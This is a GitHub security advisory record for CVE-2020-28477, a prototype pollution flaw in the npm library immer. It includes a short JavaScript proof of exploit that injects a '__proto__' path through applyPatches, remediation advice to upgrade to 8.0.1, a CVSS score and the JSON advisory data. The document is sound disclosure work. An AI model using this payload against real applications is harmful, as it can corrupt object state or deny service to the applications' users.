GHSA-9QMH-276G-X5PJ

Vulnerability from github – Published: 2021-01-20 21:27 – Updated: 2024-04-25 22:17
VLAI?
Summary
Prototype Pollution in immer
Details

Overview

Affected versions of immer are vulnerable to Prototype Pollution.

Proof of exploit

const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);

Remediation

Version 8.0.1 contains a fix for this vulnerability, updating is recommended.

Severity ?
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "immer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "8.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-28477"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-471"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-01-20T19:37:58Z",
    "nvd_published_at": "2021-01-19T11:15:00Z",
    "severity": "HIGH"
  },
  "details": "## Overview\n\nAffected versions of immer are vulnerable to Prototype Pollution.\n\n## Proof of exploit\n\n```js\nconst {applyPatches, enablePatches} = require(\"immer\");\nenablePatches();\nlet obj = {};\nconsole.log(\"Before : \" + obj.polluted);\napplyPatches({}, [ { op: \u0027add\u0027, path: [ \"__proto__\", \"polluted\" ], value: \"yes\" } ]);\n// applyPatches({}, [ { op: \u0027replace\u0027, path: [ \"__proto__\", \"polluted\" ], value: \"yes\" } ]);\nconsole.log(\"After : \" + obj.polluted);\n```\n\n## Remediation\n\nVersion 8.0.1 contains a [fix](https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5) for this vulnerability, updating is recommended.",
  "id": "GHSA-9qmh-276g-x5pj",
  "modified": "2024-04-25T22:17:51Z",
  "published": "2021-01-20T21:27:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28477"
    },
    {
      "type": "WEB",
      "url": "https://github.com/immerjs/immer/issues/738"
    },
    {
      "type": "WEB",
      "url": "https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/immerjs/immer/blob/master/src/plugins/patches.ts%23L213"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1061986"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-IMMER-1019369"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/immer"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in immer"
}


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  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.